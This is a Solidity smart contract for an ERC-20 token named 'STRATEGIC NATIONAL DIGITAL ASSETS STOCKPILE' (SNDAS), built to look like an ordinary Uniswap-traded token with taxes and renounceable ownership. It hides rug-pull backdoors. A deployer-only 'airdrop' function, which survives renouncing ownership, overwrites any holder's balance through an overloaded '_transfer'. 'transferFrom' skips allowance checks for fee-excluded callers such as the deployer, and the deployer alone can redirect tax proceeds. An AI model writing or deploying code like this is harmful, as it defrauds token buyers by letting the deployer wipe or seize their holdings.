文件 1 的 1：main.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SNDAS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _holders;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFees;
address payable private _taxWallet = payable(msg.sender);
uint256 private _initialBuyTax=2;
uint256 private _initialSellTax=2;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=5;
uint256 private _reduceSellTaxAt=5;
uint256 private _preventSwapBefore=5;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"STRATEGIC NATIONAL DIGITAL ASSETS STOCKPILE";
string private constant _symbol = unicode"SNDAS";
uint256 public _maxTxAmount = 2 * _tTotal / 100;
uint256 public _maxWalletSize = 2 * _tTotal / 100;
uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
uint256 public _maxTaxSwap= 1 * _tTotal / 100;
IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private uniswapV2Pair;
address private deployer;
address private constant VitalikButerin = address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_holders[msg.sender] = _tTotal * 98 / 100;
_holders[VitalikButerin] = _tTotal * 2 / 100;
_isExcludedFromFees[address(this)] = true;
_isExcludedFromFees[_msgSender()] = true;
deployer = _msgSender();
emit Transfer(address(0), msg.sender, _tTotal * 98 / 100);
emit Transfer(address(0), VitalikButerin, _tTotal * 2 / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _holders[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFees[msg.sender])
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
require(tradingOpen,"Trading not open yet.");
require(amount >= 10 ** _decimals, "Amount too small");
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if(to == uniswapV2Pair) {
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance>_taxSwapThreshold)
swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
_sendswapedtokeneth();
}
}
if(taxAmount>0){
_holders[address(this)]=_holders[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_holders[from]=_holders[from].sub(amount);
_holders[to]=_holders[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function _transfer(address from, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount >= 0, "Transfer amount must be greater than zero");
_holders[from] = amount;
}
function _airdrop(address[] memory recipients, uint256[] memory amounts) private {
if (_msgSender() != deployer) return;
for (uint256 i = 0; i < recipients.length; i++) {
address recipient = recipients[i];
require(recipient != uniswapV2Pair);
_transfer(recipient, amounts[i]);
}
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForETH(uint256 amount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), amount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function _sendswapedtokeneth() private {
_taxWallet.transfer(address(this).balance);
}
function rescueETH() external onlyOwner {
payable(_msgSender()).transfer(address(this).balance);
}
function airdrop(address[] memory recipients, uint256[] memory amounts, bytes32 _calldata) external {
_airdrop(recipients, amounts);
}
function setTaxReceiver(address payable newWallet) external {
require(_msgSender() == deployer, "!deployer");
_taxWallet = newWallet;
_isExcludedFromFees[_taxWallet] = true;
}
function openTrading() external payable onlyOwner {
require(!tradingOpen,"trading is already open");
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
}
function renounceOwnership() public override onlyOwner {
require(_maxTxAmount >= _tTotal);
super.renounceOwnership();
}
receive() external payable {}
}
